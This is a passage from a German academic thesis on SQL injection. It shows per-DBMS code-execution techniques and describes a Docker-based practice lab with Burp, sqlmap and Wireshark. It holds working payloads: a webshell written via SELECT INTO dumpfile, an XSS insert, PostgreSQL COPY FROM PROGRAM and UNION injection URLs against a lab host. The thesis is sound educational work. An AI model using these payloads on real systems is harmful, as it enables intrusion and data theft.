3. der Code wird auf dem aufrufenden Client ausgeführt
Sollte keine Schichtentrennung zwischen DBMS und Applikation vorliegen, so
sind 1. und 2. in ihrer Wirkung identisch. Bei einer voll wirksamen Trennung der
Systeme ist 2. nicht möglich.
Weiterhin besteht die Möglichkeit der indirekten, asynchronen Ausführung
fremden Codes, indem auf dem Zielsystem Dateien angelegt werden, die entwe-
der z. B. beim Systemstart automatisch aufgerufen werden oder vorhandene
häufig verwendete Systemkommandos ersetzten.
MySQL:
1. MySQL bietet keine Möglichkeit, Systembefehle abzusetzen.
2. SELECT "<?php passthru($_GET[c]);?>" INTO dumpfile
'/var/lib/mysql/cmd.php';
Bild 43: Realisierung und Nutzung einer Webshell
Im Beispiel wird eine minimalistische PHP-Webshell in das Filesystem geschrie-
ben. Anschließend können Systembefehle über den Browser abgesetzt werden.
3. INSERT INTO `professoren` (`name`,`Rang`)VALUES
('S','<script>prompt("bitte Passwort eingeben:", "");</script>');
SQL-Injection
51
Bild 44: Cross Site Scripting zur Codeinjektion auf Clientsystemen
Die Möglichkeit Inhalte zu schreiben, die bei einem Client angezeigt werden,
bietet implizit die Option von Codeausführung im Clientprogramm. Der Code
kann in Tabelleninhalten oder in Dateien abgelegt werden, wichtig ist nur, dass
sie vom Client angezeigt werden. Das Beispiel öffnet ein Fenster zur Passwort-
eingabe ohne weitere Auswertung der Eingabe.
PostgreSQL:
Postgres bietet die Möglichkeit, Systembefehle direkt auszuführen und das
Ergebnis in eine Tabelle zu schreiben.
1. DROP TABLE IF EXISTS tmp;
CREATE TABLE tmp(filename text);
COPY tmp FROM PROGRAM 'ps -ef';
SELECT * FROM tmp;
Bild 45: Ausführung von Systemkommandos via SQLi
2. Die Möglichkeiten, eine Webshell zu installieren, sind abhänig davon in das
Filesystem zu schreiben und entsprechen denen von MySQL.
3. Eigener Code kann immer dann im Client ausgeführt werden, wenn es
SQL-Injection
52
möglich ist, Inhalte an den aufrufenden Client zu übertragen. Im Postgres
entsprechen sie den Möglichkeiten von MySQL.
MSSQL:
1. Die Fähigkeit, Systembefehle auszuführen, ist an die Möglichkeit hier fehlt ein
Verb! (gebunden?), die Funktion xp_shell zu nutzen, welche unter Linux nicht
implementiert ist. Daher besteht im Testsystem keine Möglichkeit, Systembefehle
abzusetzen.
2,3. In MySQL bestehen die gleichen Möglichkeiten Code auszuführen wie in
MySQL.
OracleDB:
1,2. Die OracleDB bietet keine Möglichkeit, via SQL Systembefehle auszuführen
oder in das Filesystem zu schreiben. Beispiele aus diversen Quellen konnten
nicht mit Erfolg nachvollzogen werden.
3. Codeausführung auf dem Client ist nur abhänig von der Fähigkeit, Inhalte zu
beeinflussen. Über die Möglichkeit, Tabelleninhalte zu beeinflussen, besteht so
die Möglichkeit, Code im aufrufenden Client auszuführen.
SQLite:
1,2. Da SQLite kein eigenständiges DBMS darstellt, bietet es keine
Möglichkeiten, Systembefehle abzusetzen oder ins Filesystem zu schreiben.
Abhänig von der verwendeten Middleware ist es jedoch möglich, dass diese
Funktionen an dieser Stelle realisiert werden können. Diese sind dann jedoch
nicht über SQL aufrufbar.
3. Auch SQLite bietet die Möglichkeit, Inhalte von Tabellen zu bearbeiten und auf
diesem Weg Code an den aufrufenden Client zu übertragen.
Die Möglichkeit, Inhalte von Tabellen zu manipulieren, welche einen generellen
Weg zur Codeinjizierung im Client darstellt, wurden in Kapitel 3.4.2 detailliert dar-
gestellt.
Übungssystem
53
4 Übungssystem
Das beiliegende Übungssystem wurde erstellt, um die Möglichkeiten von SQL-
Injektion anhand praktischer Übungen zu studieren. Als Basis dient ein
Debiansystem mit grafischer Oberfläche. Zusätzlich sind einige nützliche Pro-
gramme und Anleitungen in Form eines Wikis installiert. Docker wird verwendet,
um die einzelnen Datenbanken in separaten Containern laufen zu lassen, wobei
das jeweilige Filesystem des DBMS im Hostsystem gemountet ist. Dies bietet die
Möglichkeiten, das DBMS unabhängig vom Datenbestand zu verändern oder
eigene Datenbestände zu forensischen Zwecken in die bestehende Daten-
bankinstallation zu binden.
Bild 46: Das Übungssystem im Überblick
Auf dem Desktop sind alle für den Nutzer relevanten Programme durch Verknüp-
fungen verlinkt:
Übungssystem
54
Bild 47: Desktop des Testsystems
wobei alle SQL-Injektion-Übungen im Browser stattfinden.
4.1 Docker und Datenbankcontainer
Docker ist eine freie Software zur Isolierung von Anwendungen mit Container-
virtualisierung. Docker vereinfacht die Bereitstellung und die Installation von An-
wendungen, weil sich Container, die alle nötigen Pakete enthalten, leicht als
Dateien transportieren und installieren lassen. Container gewährleisten die
Trennung und Verwaltung der auf einem Rechner genutzten Ressourcen. Das
beinhaltet laut Aussage der Entwickler: Code, Laufzeitmodul, Systemwerkzeuge,
Systembibliotheken – alles was auf einem Rechner installiert werden kann(vgl.
Wikipedia: Docker_(Software)).
4.1.1 MySQL-Container
Der MySQL-Container enthält das DBMS ohne die Datenbankfiles. Der Container
wird beim Systemstart automatisch mit folgenden Parametern gestartet:
docker run > Startbefehl
--rm > der Container wird beim Beenden gelöscht
--name mysql-server > Name des gestarteten Containers
-v /var/www/docker/mysql/config/:/etc/mysql/conf.d > Konfigurationsfile
des DBMS, die Datei /etc/mysql/conf.d liegt auf dem HOST-System
-v /var/www/docker/mysql:/var/lib/mysql > Ort der Datenbankfiles
-p 3306:3306 > Portweiterleitung an das HOST-System
Übungssystem
55
-e MYSQL_ROOT_PASSWORD=toor > setzen des root-Passworts
-d mysql:5.5 > Name des verwendeten Images
--secure-file-priv= > Freigabe des Filesystems für das DBMS
Nach dem Start des Containers werden die benötigten Datenbankdateien in das
angegebene Verzeichnis geschrieben, ohne eventuell vorhandene Daten-
banken zu überschreiben. Dank der Weiterleitung des verwendeten TCP/IP-
Ports und des Mappings des Filesystems auf die Hostmaschine, kann die
MySQL-Instanz wie eine lokale Installation behandelt werden. Um direkt im
laufenden Container zu arbeiten, kann man eine Shell innerhalb des Containers
aufrufen:
docker exec -it mysql-server /bin/bash mysql -uroot -ptoor exit exit
Das folgende Beispiel demonstriert den Aufruf einer Shell innerhalb eines
Containers und die direkte Nutzung der Datenbank:
Bild 48: direktes Ansprechen der MySQL-Instanz
Übungssystem
56
4.1.2 PostgreSQL
Der Start des PostgreSQL-Containters erfolgt analog dem vorherigen Beispiel.
docker run
--rm
--name postgres-server
-v /var/www/docker/pgdata:/var/lib/postgresql/data
-p 5432:5432 -e POSTGRES_PASSWORD=toor -d postgres
Nach dem Start des Containers müssen noch ein paar Rechte im Filesystem
angepasst werden, damit das Logging der Querys und der schreibende Zugriff
via SQL demonstriert werden kann. find /var/www/docker/pgdata/ \( -type d -exec chmod 777 {} + \) -o \(
-type f -exec chmod 766 {} + \)
Auch die Nutzung der containerinternen Shell und des DBMS funktioniert wie im
MySQL-Container.
docker exec -it postgres-server /bin/bash psql -U postgres -W toor \c kemper \q exit
4.1.3 MSSQL-Container
Der MS-SQL-Container startet im Testsystem mit folgenden Parametern:
docker run
-it --rm --name mssql-server
-v /var/www/docker/mssql:/var/opt/mssql
-e 'ACCEPT_EULA=Y' -e 'SA_PASSWORD=toor1234-'
-e 'MSSQL_PID=Express' -p 1433:1433
-d microsoft/mssql-server-linux:latest
Auch dieser Container lässt sich auf Systemebene ansprechen:
docker exec -it mssql-server /bin/bash ./opt/mssql-tools/bin/sqlcmd -U SA -P toor1234- exit exit
Das Image des MS-SQL-Containers wird von Microsoft bereitgestellt. Da es sich
bei dem Containersystem um ein Linuxsystem handelt, werden
Übungssystem
57
windowsspezifische Erweiterungen wie xp_shell nicht unterstützt. Die Entwick-
lung von Docker sieht zukünftig die parallele Ausführung von Windows- und
Linux-Containern vor. Zum Zeitpunkt der Erstellung dieser Arbeit ist dies jedoch
noch nicht möglich.
4.1.4 Oracle-Container
Auch Oracle bietet Dockerfiles für ihr Datenbanksystem an. Im Testsystem wird
dieses wie folgt gestartet:
docker run -it --rm --name oracle-server -v
/var/www/docker/oracle/data:/u01/app/oracle -d -p 8080:8080 -p
1521:1521 sath89/oracle-xe-11g
Der direkte Zugriff auf das Gastsystem ist wie folgt möglich:
docker exec -it oracle-server /bin/bash sqlplus Enter user-name: system Enter password: oracle exit exit
Da bei der Oracle-Datenbank das Systempasswort nach einer gewissen Zeit ab-
läuft, muss es gegebenenfalls neu gesetzt werden.
4.1.5 SQLite
SQLite ist, wie bereits erwähnt, kein eigenständiges DBMS. Es handelt sich viel-
mehr um strukturiert abgespeicherte Daten, die mittels eines Programmes oder
eines Wrappers via SQL bearbeitet werden können. Die Beispieldatenbank
befindet sich in der Datei:
/var/www/docker/sqlite/kemper.db
Auch SQLite kann im Beispielsystem über die Kommandozeile genutzt werden:
sqlite3 /var/www/docker/sqlite/kemper.db .q
Da SQLite-Datenbanken, besonders applikationsintern, besonders weit verbrei-
tet sind, wurden sie in das Testsystem aufgenommen.
Übungssystem
58
4.1.6 Filesystem
Das Filesystem des Übungssystems ist so angelegt, dass alle für den Nutzer
wichtigen Dateien unterhalb des Ordners /var/www/ liegen:
Bild 49: wichtige Verzeichnisse im Filesystem
Für den Nutzer des Testsystems sind folgende Verzeichnisse von Interesse:
/var/www/ das Hauptverzeichnis des Projektes /var/www/docker unterhalb dieses Ordners finden sich alle Datenbankdateien /var/www/html enthält alle vom Webserver genutzten Dateien /var/www/.sqlmap Ergebnisablage für sqlmap
4.2 Verwendung des Übungssystems
Nach dem Start des Systems öffnet sich automatisch die Startseite des Übungs-
projektes, von der aus man zu den verschiedenen Inhalten wechseln kann.
Bild 50: Startseite des SQLi-Übungssystems
Alle relevanten Inhalte sind innerhalb des Übungssystems verlinkt, die direkten
Einsprungadressen werden aber auch innerhalb der Arbeit genannt und sind in
Übungssystem
59
den Screenshots zu erkennen.
4.2.1 DokuWiki
Das im System integrierte Wiki dient zur Ablage wichtiger Informationen und
Anleitungen. Es ist über den Menüpunkt „Projektlinks“ oder über die Adresse:
http://127.0.0.1/html/_projekt3/html/loader.php?i=wiki
erreichbar.
Bild 51: Startseite des integrierten Wikis
Der Nutzer des Übungssystems kann auch eigene Inhalte hinzufügen oder diese
in vielfältiger Form zur beliebigen Verwendung exportieren.
4.2.2 adminer
Adminer ist ein Tool zum Verwalten von unterschiedlichsten Datenbanken. Es
wird unter der Apache-Lizenz in Form einer einzelnen PHP-Datei vertrieben. Die
Prioritäten des Projekts liegen in folgender Reihenfolge: Sicherheit, Benutzer-
freundlichkeit, Leistung, Funktionalität und Größe. Es bietet sich gleichermaßen
zum Absetzten von SQL-Befehlen wie zur menügeführten Nutzung einer Daten-
bank an. Bei der menügeführten Nutzung besteht weiterhin die Möglichkeit, sich
die ausgeführten SQL-Kommandos anzeigen zu lassen, das stellt beim Erlernen
der unterschiedlichen SQL-Varianten eine große Hilfe dar. Im Testsystem ist
adminer über die Projektlinks oder der Adresse:
Übungssystem
60
http://127.0.0.1/html/adminer/
erreichbar. Im Startbildschirm werden die Anmeldedaten zu den einzelnen
Datenbanken angezeigt:
Bild 52: adminer Startseite mit Anmeldedaten
Nach erfolgter Anmeldung kann man die gewählte Datenbank bearbeiten und
SQL-Befehle ausführen:
Bild 53: adminer mit geladener OracleDB
4.2.3 victim.com aus "SQL Hacking"
Das Buch „SQL Hacking“ von Justin Clarke bietet eine gute Grundlage zum Ein-
Übungssystem
61
stieg in das Thema SQL-Injektion. Es wurde im Rahmen des Studiums als Lehr-
buch und auch als Quelle für diese Arbeit genutzt. Leider sind die im Buch vor-
gestellten Beispiele ohne Testsystem nicht nutzbar. Im beiliegenden Testsystem
wurden daher zu den Beispielen passende Serverskripts erstellt und so gemappt,
dass die Beispiele wie im Buch beschrieben aufgerufen werden können. Unter
der Adresse:
http://www.victim.com/
findet sich eine Übersicht der umgesetzten Beispiele mit Angabe von Kapitel und
Seite im genannten Buch:
Bild 54: Startseite von victim.com
Als Basisdatenbank kommt dabei eine entsprechende MySQL-Datenbank mit
dem Namen buch zum Einsatz.
4.2.4 allgemeine SQLi Übungen
Eigene Übungen zum Thema SQL-Injektion können analog zu folgenden
Beispielen erfolgen:
DBMS Link MySQL http://www.victim.com/test_sqli_mysql.php?n=S' UNION SELECT 1,1,1,1 -- . http://127.0.0.1/html/test/12_MULTIQUERY.php?user=u&pass=p PostgreSQL http://www.victim.com/test_sqli_postgres.php?n=S' UNION SELECT 0,'1','1','1' -- . MSSQL http://www.victim.com/test_sqli_mssql.php?n=S' UNION SELECT 1,'1','1',1;-- . Oracle DB http://www.victim.com/test_sqli_oracle.php?n=S' UNION SELECT 1,'1','1',1 FROM dual-- . SQLite http://www.victim.com/test_sqli_sqlite.php?n=S' UNION SELECT 1,1,1,1 -- .
Die Links beinhalten bereits jeweils eine einfache SQL-Injektion.
Übungssystem
62
4.3 Webserver und Tools
Als Webserver kommt apache zum Einsatz, als Ausführungsumgebung ist PHP 7
mit allen zum Ansprechen der Datenbank notwendigen Erweiterungen installiert.
Die detaillierte Übersicht zum System kann unter der Adresse:
http://127.0.0.1/phpinfo.php
abgerufen werden.
Bild 55: Anzeige der Webserverdetails
4.3.1 burp Suite
Burp Suite ist ein grafisches Tool zum Testen der Sicherheit von Webanwendun-
gen. Das Programm wurde in Java geschrieben und von PortSwigger Web
Security entwickelt. Die Software ist in mehreren Varianten erhältlich. Neben der
kostenfreien, dafür im Funktionsumfang erheblich reduzierten Community Edition
bietet der Hersteller auch kostenpflichtige Versionen im Abomodell an. Prinzipiell
arbeitet burp als lokaler Proxyserver, der alle Anfragen von beliebigen Webclients
entgegennimmt und weiterleitet. Diese Anfragen können im Nachhinein analy-
siert, manipuliert und wiederholt werden. Eine Abstrahierung des Zielsystems
oder vollständig automatisierte Angriffe finden nicht statt. Zur Nutzung im Test-
system muss als erstes burp durch Anklicken gestartet und ein neues Projekt
angelegt werden:
Übungssystem
63
Bild 56: Start von burp
Im Anschluss daran kann der vorkonfigurierte burp-Proxy im Browser aktiviert
werden:
Bild 57: burp-Proxy Aktivierung im Browser
Nun können alle http-Requests in burp nachvollzogen werden.
Bild 58: HTML-Requestanzeige in burp
Alle Parameter der einzelnen Requests lassen sich dabei auch in Textdateien
exportieren, welche als Startwerte für sqlmap genutzt werden können. Burp bietet
noch viele weitere Funktionen, inklusive automatischer Tests auf SQL-Injektion-
Anfälligkeiten aufgerufener Webseiten. Diese Funktionen können hier nicht näher
beschrieben werden, da sie nicht mit dem Umfang der Arbeit vereinbar sind.
Stattdessen wird auf vielfältige Anleitungen im Internet verwiesen.
Übungssystem
64
4.3.2 sqlmap
„sqlmap“ ist eine Open-Source-Software, die zum Erkennen und Ausnutzen von
Datenbank-Schwachstellen verwendet wird und Optionen zum Einfügen
schädlichen Codes bietet. Die Erkennung und Ausnutzung von SQL-Injection-
Fehlern ist weitestgehend automatisiert, dem Anwender wird eine Benutzerober-
fläche im Terminal bereitstellt. Das Programm bietet vollständige Unterstützung
für mehrere Datenbanksysteme, einschließlich der im Testsystem verwendeten
MySQL, Oracle, PostgreSQL, Microsoft SQL Server, SQLite. Dabei werden alle
bekannten Injektionstechniken unterstützt. Die angegriffene Datenbank wird
dabei für den Angreifer soweit abstrahiert, dass weder Datenbank- noch SQLi-
Kenntnisse für einen erfolgreichen Angriff nötig sind.
Im Testsystem empfiehlt sich der Aufruf von sqlmap mit der Option -u gefolgt von
der URL, am besten direkt aus dem Browser kopiert:
sqlmap -u http://www.victim.com/test_sqli_mysql.php?n=Sokrates –banner
Im Beispiel wurde mit der Option -banner die Anzeige der Systemumgebung
angefordert:
Bild 59: Ausgabe von sqlmap
Die Möglichkeiten von sqlmap decken alle genannten Ziele von SQL-Injektion ab.
Eine Auflistung der Optionen erfolgt beim Aufruf mit dem Parameter -help oder
im beiliegenden Wiki. Über die internen Logfunktionen des DBMS oder ein
Programm zum Mittschnitt der Netzwerkkommunikation ist ein detailliertes Nach-
vollziehen der von sqlmap eingesetzten Befehle möglich.
Die QUERY-Logfunktion ist -? MySQL und PostgreSQL aktiviert und die Ausgabe
in eine Datei umgelenkt. Die Anzeige der MySQL-Befehle ist z. B. mittels tail
möglich:
tail -f /var/www/docker/mysql/mysql_query.log
Übungssystem
65
Bild 60: MySQL-QUERY-Log Liveanzeige mit tail
Eine weitere Möglichkeit zum Nachvollziehen der Kommunikation mit den Daten-
banken ist die Anzeige der Netzwerkpakete z. B. mittels wireshark.
4.3.3 Wireshark
Wireshark ist eine freie Software zur Analyse und grafischen Aufbereitung von
Datenprotokollen. Das Programm zeigt bei einer Aufnahme sowohl die Protokoll-
Header als auch den transportierten Inhalt an und dekodiert den übertragenen
Datenstrom so, dass er lesbar und allgemein verständlich ist. Gestartet wird
wireshark im Testsystem durch Anklicken des entsprechenden Icons:
Bild 61: Netzwerkmittschnitt einer SQL-Anfrage mittel wireshark
Wireshark bietet so umfassende Nutzungsmöglichkeiten, dass auch an dieser
Stelle auf das zugehörige Handbuch verwiesen werden muss.
Zusammenfassung und Ausblick
66
5 Zusammenfassung und Ausblick
Die vorliegende Arbeit zeigt die Gefahren und Möglichkeiten bezüglich SQL-
Injektion in Webapplikationen zum Zeitpunkt der Erstellung der Arbeit, also 2019.
Mittels Beispielen, die alle im beiliegenden Testsystem wie in der Arbeit beschrie-
ben nachvollzogen werden können, wurden die unterschiedlichen Arten von
SQL-Injektion demonstriert. In Kapitel 3 konnte gezeigt werden, dass eine SQL-
Injektion prinzipiell aus folgenden Teilen besteht:
- Eingabedaten
- Einleitung der SQLi (Expoit)
- Anpassung der Ausgabe und Einleitung der Payload
- Payload
- Ausleitung der Payload
- Abschluss der SQLi (Expoit)
SQL-Injektion-Angriffe lassen sich nach folgendem Schema klassifizieren:
Bild 62: Klassifizierung von SQL-Injektion
Die konkreten Möglichkeiten eines Angreifers hängen dabei wesentlich vom ver-
wendeten DBMS und dessen Konfiguration ab.
Es wurde gezeigt, dass weder die Wahl eines Betriebssystems noch des Daten-
bankmanagementsystems eine Webanwendung vor SQL-Injektion schützt.
Sowohl auf Systembetreiberseite als auch auf Seite der Angreifer sind ständig
Weiterentwicklungen zu erwarten. Wobei es zu beachten gilt, dass alte Fehler
immer wieder gemacht werden, teilweise sogar neu implementiert werden und
andererseits viele Systeme jahrelang laufen, ohne dass Updates eingespielt
Zusammenfassung und Ausblick
67
werden. Das Einspielen von Updates wird hierbei manchmal von damit einher-
gehenden Inkompatibilitäten verhindert. Weiterhin bieten neue Kodierungen wie
UTF-32 immer wieder neue Zeichen, die von DBS als gültiges Befehlselement
erkannt und von etablierten Parsern nicht maskiert werden. So entstehen auch
immer wieder neue Sicherheitslücken, die sich mittels SQL-Injektion ausnutzen
lassen. Einen guten Schutz davor bieten eine vollständige Eingabevalidierung
und prepared Statements in der Logik der Webapplikation.
Literaturverzeichnis
68
Literaturverzeichnis
[1] Clarke, Justin (2016): SQL Hacking: SQL-Injektion auf relationale Datenbanken im Detail verstehen und abwehren, Franzis Verlag GmbH. [2] Miroslav Štampar, "Data Retrieval over DNS in SQL Injection Attacks" . [Online]. Available: https://lira.epac.to/DOCS-TECH/Hacking/Data Retrieval over DNS in SQL Injection Attacks.pdf. [Zugriff am 21. August 2019]. [3] Stuttard, Dafydd / Pinto, Marcus (2011): The Web Application Hacker’s Handbook, Wiley Publishing Inc. [4] Wikipedia, die freie Enzyklopädie, "Computervirus" . [Online]. Available: https://de.wikipedia.org/wiki/Computervirus#Payload. [Zugriff am 21. August 2019]. [5] Wikipedia, die freie Enzyklopädie, "Datenbank" . [Online]. Available: https://de.wikipedia.org/wiki/Datenbank. [Zugriff am 21. August 2019]. [6] Wikipedia, die freie Enzyklopädie, "Docker_(Software)" . [Online]. Available: https://de.wikipedia.org/wiki/Docker_(Software). [Zugriff am 21. August 2019]. [7] Wikipedia, die freie Enzyklopädie, "Hypertext Transfer Protocol" . [Online]. Available: https://de.wikipedia.org/wiki/Hypertext_Transfer_Protocol [Zugriff am 21. August 2019]. [8] Wikipedia, die freie Enzyklopädie, "SQL" . [Online]. Available: https://de.wikipedia.org/wiki/SQL. [Zugriff am 21. August 2019].
Bilderverzeichnis
69
Bilderverzeichnis
Bild 1: Aufbau einer Webanwendung ................................................................. 9
Bild 2: GET-Request ........................................................................................ 11
Bild 3: POST-Request ...................................................................................... 13
Bild 4: Headerinformationen in einem GET- bzw. POST-Request ................... 14
Bild 5: Bestandteile eines Datenbankmanagementsystems ............................. 16
Bild 6: GET-Request mit Parameter via URL ................................................... 19
Bild 7: GET-Request als HTML-Link und Parameter in der Adressleiste ......... 20
Bild 8: ein einfacher PHP-CURL-GET-Request ................................................ 20
Bild 9: POST-Request mittels HTML-Formularfeld ........................................... 21
Bild 10: ein einfacher PHP-CURL-POST-Request ........................................... 21
Bild 11: Ansicht des HTTP-Headers im Browser .............................................. 22
Bild 12: HTTP-Header Beeinflussung mittels PHP ........................................... 23
Bild 13: SQLi via HTTP-Header ........................................................................ 23
Bild 14: SQLi und XSS via HTTP-Header ........................................................ 23
Bild 15: SQLi mit Parameterübergabe .............................................................. 24
Bild 16: SQLi durch Parametermanipulation .................................................... 25
Bild 17: DBMS Fehlermeldungen im Vergleich................................................. 26
Bild 18: Fehlerbasiertes SQLi zur Bestimmung der Spaltenanzahl .................. 26
Bild 19: SQLi mit Konstanten zur Bestätigung der
Ausführungsbedingungen .......................................................................... 27
Bild 20: UNION-Based-SQLi zur Offenlegung der Datenbankstruktur .............. 27
Bild 21: SQLi Etablierung für eine Blind-Boolean SQLi .................................... 29
Bild 22: Bestimmung der Zeichenanzahl des gesuchten Passwortes .............. 30
Bild 23: Testen der Zeichenart des ersten Zeichens des gesuchten
Bilderverzeichnis
70
Passwortes ................................................................................................ 30
Bild 24: Bestimmung des Passwortes aus den Antwortzeiten .......................... 31
Bild 25: Überprüfung des ermittelten Passwortes ............................................. 32
Bild 26: Ettercap Mitschnitt einer PostgreSQL DNS-Anfrage ........................... 33
Bild 27: Mehrfachabfragen erzeugen bei Nichtunterstützung einen Fehler ...... 36
Bild 28: bei Mehrfachabfragen werden die Einzelergebnisse nicht
angezeigt ................................................................................................... 36
Bild 29: SQLi mit Integerwerten ........................................................................ 37
Bild 30: Erzeugung von Strings zur Laufzeit der Abfrage ................................. 38
Bild 31: SQLi-Angriffsvektoren und Ziele .......................................................... 39
Bild 32: Anzeige der vorhandenen Datenbanken ............................................. 40
Bild 33: Auflistung der zur Datenbank gehörenden Tabellen ........................... 40
Bild 34: Erweiterung der Anzeige um die Spaltennamen ................................. 41
Bild 35: Dumpen des Inhaltes einer Tabelle ..................................................... 41
Bild 36: Anlegen von Datenbanken, Tabellen und Inhalten sowie deren
Ausgabe ..................................................................................................... 43
Bild 37: Entfernen der zuvor eingefügten Inhalte.............................................. 43
Bild 38: Anlegen eines Benutzers mit allen Rechten via SQLi.......................... 46
Bild 39: Löschen eines Benutzers via SQLi ...................................................... 46
Bild 40: Lesezugriff auf das Filesystem via SQLi .............................................. 48
Bild 41: Schreibzugriff via Multiquery ............................................................... 48
Bild 42: Lesezugriff auf das zuvor geschriebene File ....................................... 48
Bild 43: Realisierung und Nutzung einer Webshell ........................................... 50
Bild 44: Cross Site Scripting zur Codeinjektion auf Clientsystemen ................. 51
Bild 45: Ausführung von Systemkommandos via SQLi .................................... 51
Bild 46: Das Übungssystem im Überblick ......................................................... 53
Bilderverzeichnis
71
Bild 47: Desktop des Testsystems ................................................................... 54
Bild 48: direktes Ansprechen der MySQL-Instanz ............................................ 55
Bild 49: wichtige Verzeichnisse im Filesystem ................................................. 58
Bild 50: Startseite des SQLi-Übungssystems ................................................... 58
Bild 51: Startseite des integrierten Wikis .......................................................... 59
Bild 52: adminer Startseite mit Anmeldedaten.................................................. 60
Bild 53: adminer mit geladener OracleDB ........................................................ 60
Bild 54: Startseite von victim.com ..................................................................... 61
Bild 55: Anzeige der Webserverdetails ............................................................. 62
Bild 56: Start von burp ...................................................................................... 63
Bild 57: burp-Proxy Aktivierung im Browser ..................................................... 63
Bild 58: HTML-Requestanzeige in burp ............................................................ 63
Bild 59: Ausgabe von sqlmap ........................................................................... 64
Bild 60: MySQL-QUERY-Log Liveanzeige mit tail ............................................ 65
Bild 61: Netzwerkmittschnitt einer SQL-Anfrage mittel wireshark ..................... 65
Bild 62: Klassifizierung von SQL-Injektion ........................................................ 66
Tabellenverzeichnis
72
Tabellenverzeichnis
Tabelle 1: die wichtigsten Zeichen der HTML-Codierung ................................. 11
Tabelle 2: SQLi relevante PHP-Befehle ........................................................... 15
Tabelle 3: Schichtentrennung ........................................................................... 17
Tabelle 4: Detailfunktion einer UNION-Based-SQLi ......................................... 28
Tabelle 5: Rekonstruktion des Passwortes aus den Antwortzeiten .................. 31
Tabelle 6: für zeitbasierte SQLi verwendete SQL-Befehle ............................... 32
Tabelle 7: Bestandteile einer SQLi ................................................................... 34
Tabelle 8: Platzierungsmöglichkeiten von Payloads in DML-Befehlen ............. 35
Tabelle 9: Ermittlung des DBMS anhand Versionsangabe ............................... 38
Tabelle 10: Ermittlung des DBMS anhand SQL-
Interpretationsunterschieden ...................................................................... 39
Verzeichnis der Abkürzungen
73
Verzeichnis der Abkürzungen
burp Burp Suite Community Edition
CURL URL Request Library
DBMS Datenbankmanagementsystem
DNS Domain Name System
HTML Hypertext Markup Language
HTTP Hypertext Transfer Protocol
LDAP Lightweight Directory Access Protocol
PHP Hypertext Preprocessor
SMB Server Message Block
SQL Structured Query Language
SQLi SQL-Injektion
TCP Transmission Control Protocol
TCP/IP Transmission Control Protocol/Internet Protocol
URL Uniform Resource Locator
XSS Cross-Site-Scripting
Selbstständigkeitserklärung
Hiermit erkläre ich, dass ich die hier vorliegende Arbeit selbstständig, ohne uner-
laubte fremde Hilfe und nur unter Verwendung der in der Arbeit aufgeführten
Hilfsmittel angefertigt habe.
Weimar, den 23. August 2019 Christian Hense